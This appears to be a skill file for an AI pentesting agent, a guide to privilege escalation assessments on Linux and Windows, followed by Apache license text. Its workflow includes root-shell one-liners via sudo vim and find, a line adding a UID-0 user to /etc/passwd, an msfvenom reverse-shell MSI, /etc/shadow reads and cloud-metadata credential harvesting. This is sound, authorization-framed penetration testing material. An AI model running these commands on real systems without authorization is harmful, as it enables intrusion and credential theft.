--- name: performing-privilege-escalation-assessment-0d05e7f50842 description: 'Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment. ' domain: cybersecurity subdomain: penetration-testing tags: - privilege-escalation - post-exploitation - Linux-privesc - Windows-privesc - local-exploitation version: 1.0.0 author: Krishna Kumar (xalgord) license: Apache-2.0 d3fend_techniques: - Executable Denylisting - Execution Isolation - File Metadata Consistency Validation - Restore Access - Password Authentication nist_csf: - ID.RA-01 - ID.RA-06 - GV.OV-02 - DE.AE-07 --- # Performing Privilege Escalation Assessment ## When to Use - After gaining initial low-privilege access during a penetration test to demonstrate full system compromise - Assessing the security hardening of Linux and Windows servers against local privilege escalation attacks - Evaluating whether endpoint detection and response (EDR) tools detect common privilege escalation techniques - Testing the effectiveness of least-privilege policies and application whitelisting on endpoints - Validating that container breakout and VM escape controls are properly configured **Do not use** without written authorization, against production systems where exploitation could cause downtime, or for deploying kernel exploits on systems without prior approval and rollback capability. ## Most Often Missed & How to Confirm - **Run the automated enumeration AND read it** — linPEAS/winPEAS output is long; testers skim and miss the one writable service path or sudo entry. Pair it with manual checks (`sudo -l`, `getcap -r /`, `whoami /priv`). - **Token privileges on Windows** — `SeImpersonatePrivilege`/`SeDebugPrivilege` (common on service/IIS accounts) give SYSTEM via PrintSpoofer/GodPotato and are routinely overlooked in favor of hunting kernel CVEs. - **Non-kernel Linux vectors first** — sudo/GTFOBins, SUID/SGID, Linux capabilities (cap_setuid), writable cron scripts, and PATH hijacking are safer and more reliable than kernel exploits (which risk panics). Save kernel exploits for last. - **Stored credentials everywhere** — `cmdkey`/AutoLogon/unattend.xml/web.config/PowerShell history on Windows; `.env`, config files, history, and SSH keys on Linux. Credentials beat exploits. - **Container/cloud escape** — check for `/var/run/docker.sock`, `--privileged`, `SYS_ADMIN`, K8s service-account tokens, and the cloud metadata endpoint (169.254.169.254) for IAM creds. Apparent "root" may just be inside a container. - **How to confirm**: prove escalation with a post-exploitation artifact — `id` showing uid=0 / `whoami` showing `NT AUTHORITY\SYSTEM`, plus reading a root-only file (`/etc/shadow`) or SYSTEM-only resource. Don't conclude a host is hardened until you've checked sudo, SUID, capabilities, cron, token privileges, stored creds, and container/metadata; don't fire a kernel exploit to "prove" privesc when a safer misconfig path exists and is already demonstrable. ## Prerequisites - Low-privilege shell access (reverse shell, SSH, RDP) to the target system obtained through authorized means - Privilege escalation enumeration scripts: linPEAS (Linux), winPEAS (Windows), Linux Smart Enumeration (LSE) - Compiled kernel exploits for common CVEs or access to compilation tools on the target - GTFOBins reference for Linux SUID/sudo binary abuse and LOLBAS reference for Windows living-off-the-land binaries - Precompiled post-exploitation binaries for the target architecture if compilation is not available on the target ## Workflow ### Step 1: System Enumeration Gather comprehensive information about the target system: **Linux Enumeration:** - `id && whoami` - Current user and group memberships - `uname -a` - Kernel version for kernel exploit identification - `cat /etc/os-release` - Distribution and version - `sudo -l` - Commands the current user can run as root via sudo - `find / -perm -4000 -type f 2>/dev/null` - SUID binaries - `find / -perm -2000 -type f 2>/dev/null` - SGID binaries - `crontab -l && ls -la /etc/cron*` - Scheduled tasks running as root - `ps aux | grep root` - Processes running as root - `cat /etc/passwd` - User accounts (look for additional users with UID 0) - `find / -writable -type d 2>/dev/null` - World-writable directories - Run `linpeas.sh` for automated comprehensive enumeration **Windows Enumeration:** - `whoami /priv` - Current user privileges (look for SeImpersonatePrivilege, SeDebugPrivilege) - `systeminfo` - OS version, hotfix level, architecture - `wmic service get name,pathname,startmode` - Unquoted service paths - `icacls "C:\Program Files" /T` - Writable directories in Program Files - `reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated` - AlwaysInstallElevated check - `cmdkey /list` - Stored Windows credentials - `schtasks /query /fo LIST /v` - Scheduled tasks with their run-as accounts - Run `winPEAS.exe` for automated comprehensive enumeration ### Step 2: Linux Privilege Escalation Vectors Test identified escalation vectors systematically: - **Sudo misconfigurations**: If `sudo -l` shows entries like `(ALL) NOPASSWD: /usr/bin/vim`, use GTFOBins to escalate: - `sudo vim -c ':!/bin/bash'` to spawn a root shell - Common dangerous sudo entries: vim, less, find, nmap, python, perl, ruby, awk, env - **SUID binary abuse**: If a SUID binary is identified that allows arbitrary command execution, shell escape, or file read: - Custom SUID: Check if a custom SUID binary calls other programs without absolute paths (PATH injection) - Known SUID: Check GTFOBins for exploitation of standard SUID binaries - **Cron job exploitation**: If a cron job runs a script writable by the current user, or runs a script from a writable directory: - Modify the script to add a reverse shell or SUID copy of bash - PATH-based cron exploitation: if the cron job calls a command without absolute path and PATH is writable - **Kernel exploits**: Match the kernel version to known exploits: - DirtyPipe (CVE-2022-0847): Linux kernel 5.8-5.16.11 - DirtyCow (CVE-2016-5195): Linux kernel 2.6.22-4.8.3 - PwnKit (CVE-2021-4034): Polkit pkexec vulnerability affecting most Linux distributions - **Capabilities abuse**: `getcap -r / 2>/dev/null` to find binaries with elevated capabilities (cap_setuid, cap_dac_override) - **Writable /etc/passwd**: If /etc/passwd is writable, add a new root user: `echo 'newroot:$1$hash:0:0::/root:/bin/bash' >> /etc/passwd` ### Step 3: Windows Privilege Escalation Vectors Test Windows-specific escalation paths: - **Token impersonation**: If the user has `SeImpersonatePrivilege` (common for service accounts and IIS): - Use `JuicyPotato.exe`, `PrintSpoofer.exe`, or `GodPotato.exe` to impersonate SYSTEM - `PrintSpoofer.exe -i -c "cmd /c whoami"` -> `NT AUTHORITY\SYSTEM` - **Unquoted service paths**: If a service has an unquoted path with spaces (e.g., `C:\Program Files\My App\service.exe`) and you can write to an intermediate directory: - Place a malicious executable at `C:\Program Files\My.exe` which will execute when the service restarts - **Writable service binaries**: If you can modify the executable of a service running as SYSTEM: - Replace the binary with a reverse shell and restart the service - **AlwaysInstallElevated**: If both HKLM and HKCU AlwaysInstallElevated registry keys are set to 1: - Generate a malicious MSI: `msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f msi -o shell.msi` - Install with elevated privileges: `msiexec /quiet /qn /i shell.msi` - **Stored credentials**: Check for credentials in `cmdkey /list`, AutoLogon registry keys, unattend.xml, web.config files, and PowerShell history - **DLL hijacking**: Identify services that load DLLs from writable directories. Use Process Monitor to find missing DLL loads, then place a malicious DLL. - **Scheduled tasks**: Find tasks running as SYSTEM with writable scripts or binaries ### Step 4: Container and Cloud Escalation Test for escalation paths in containerized and cloud environments: - **Docker breakout**: Check if the container runs in privileged mode (`--privileged`), has the Docker socket mounted (`/var/run/docker.sock`), or has `SYS_ADMIN` capability - **Kubernetes pod escalation**: Check for service account tokens with cluster-admin rights, hostPID/hostNetwork namespaces, or hostPath volume mounts - **Cloud metadata**: Access cloud instance metadata from compromised hosts (`http://169.254.169.254/latest/meta-data/`) to discover IAM roles, credentials, and instance information - **IAM role abuse**: If cloud credentials are discovered, enumerate IAM permissions and test for privilege escalation through IAM policy manipulation ### Step 5: Documentation and Impact Assessment Document the complete escalation path and business impact: - Record every command executed during escalation with timestamps - Capture proof of elevated access (whoami showing root/SYSTEM, accessing restricted files) - Document what data or systems become accessible at the elevated privilege level - Map the escalation technique to MITRE ATT&CK (T1548 - Abuse Elevation Control Mechanism, T1068 - Exploitation for Privilege Escalation) - Provide specific remediation for each identified escalation vector ## Key Concepts | Term | Definition | |------|------------| | **SUID Binary** | A Linux binary with the Set User ID bit enabled, which executes with the file owner's privileges (typically root) regardless of who runs it | | **SeImpersonatePrivilege** | A Windows privilege that allows a process to impersonate another user's security token, commonly abused by service accounts to escalate to SYSTEM | | **Kernel Exploit** | An exploit targeting a vulnerability in the operating system kernel to gain ring-0 or root/SYSTEM-level access | | **GTFOBins** | A curated list of Unix binaries that can be exploited for privilege escalation, file read/write, or shell escape when misconfigured | | **LOLBAS** | Living Off The Land Binaries and Scripts; legitimate Windows binaries that can be abused for code execution, file operations, or persistence | | **DLL Hijacking** | Exploiting the DLL search order on Windows to load a malicious DLL by placing it in a directory searched before the legitimate DLL location | | **Token Impersonation** | A Windows technique where a compromised process with appropriate privileges captures and uses another user's access token to execute commands as that user | ## Tools & Systems - **linPEAS / winPEAS**: Automated privilege escalation enumeration scripts that check hundreds of potential escalation vectors on Linux and Windows - **GTFOBins / LOLBAS**: Reference databases of Unix binaries and Windows binaries that can be exploited for privilege escalation when misconfigured - **PrintSpoofer / GodPotato**: Windows privilege escalation tools that exploit `SeImpersonatePrivilege` to achieve SYSTEM-level access from service accounts - **Linux Exploit Suggester**: Script that compares the target kernel version against a database of known kernel exploits to identify applicable exploits ## Common Scenarios ### Scenario: Privilege Escalation on a Linux Web Server **Context**: During a penetration test, the tester gained a low-privilege shell as `www-data` on an Ubuntu 22.04 web server through a PHP file upload vulnerability. The goal is to escalate to root to demonstrate full server compromise. **Approach**: 1. Run `linpeas.sh` which identifies that `www-data` can run `/usr/bin/find` as root via sudo without a password 2. Verify with `sudo -l`: `(root) NOPASSWD: /usr/bin/find` 3. Consult GTFOBins for the `find` sudo entry: `sudo find . -exec /bin/bash -p \; -quit` 4. Execute the command and obtain a root shell 5. As root, access `/etc/shadow` to extract password hashes, read database credentials from the application configuration, and access the MySQL database containing customer PII 6. Document: initial access as www-data -> sudo misconfiguration -> root shell -> database access -> 75,000 customer records accessible **Pitfalls**: - Running kernel exploits without testing on a similar system first, risking a kernel panic and system crash - Not checking for container environments where apparent root access may be limited to the container namespace - Ignoring cloud metadata endpoints accessible from the compromised host that may yield IAM credentials - Failing to enumerate capabilities and SUID binaries after checking sudo, missing alternative escalation paths ## Output Format ``` ## Finding: Sudo Misconfiguration Allowing Root Escalation via find **ID**: PRIV-001 **Severity**: Critical (CVSS 8.8) **Affected Host**: web-prod-01 (10.10.5.15) **OS**: Ubuntu 22.04 LTS **Initial Access**: www-data (via PHP file upload - WEB-004) **Escalation Technique**: MITRE ATT&CK T1548.003 - Sudo and Sudo Caching **Description**: The www-data user is configured in /etc/sudoers to execute /usr/bin/find as root without a password. The find command supports the -exec flag which can spawn a root shell, effectively granting www-data unrestricted root access. **Proof of Concept**: www-data@web-prod-01:~$ sudo -l (root) NOPASSWD: /usr/bin/find www-data@web-prod-01:~$ sudo find . -exec /bin/bash -p \; -quit root@web-prod-01:~# id uid=0(root) gid=0(root) groups=0(root) **Impact**: Full root access on the production web server. From root, the tester accessed database credentials in /var/www/app/.env, connected to MySQL, and confirmed read access to 75,000 customer records including names, emails, and addresses. **Remediation**: 1. Remove the /usr/bin/find sudo entry for www-data 2. If find access is required, restrict it to specific directories with --no-exec 3. Audit all sudo entries for binaries listed in GTFOBins 4. Implement sudo logging with auditd for all privileged command execution ``` --- Source attribution: xalgord Original project: https://github.com/xalgord/xalgorix/blob/cec44d71b1d998208e1e2091982d0ee2f928041f/internal/tools/skills/data/penetration-testing/performing-privilege-escalation-assessment/SKILL.md License: Apache-2.0 License information: https://www.apache.org/licenses/LICENSE-2.0 Original upstream instructions; downloaded from Dave AI. ## Upstream license notice Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright 2026 xalgord Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. # Dave AI resource metadata Creator / publisher: xalgord Original project: https://github.com/xalgord/xalgorix/blob/cec44d71b1d998208e1e2091982d0ee2f928041f/internal/tools/skills/data/penetration-testing/performing-privilege-escalation-assessment/SKILL.md Attribution basis: Source repository record Fields of work: Development & Engineering Roles: Security Engineer Specialties: Specialty not specified Tools: Linpeas, Winpeas Country applicability: Country not specified Classification basis: Source catalog labels Instruction SHA-256: 4fdf40203bc87bef7ef578ad520f1a2b0203a6981150101ebdf0472f9967d46e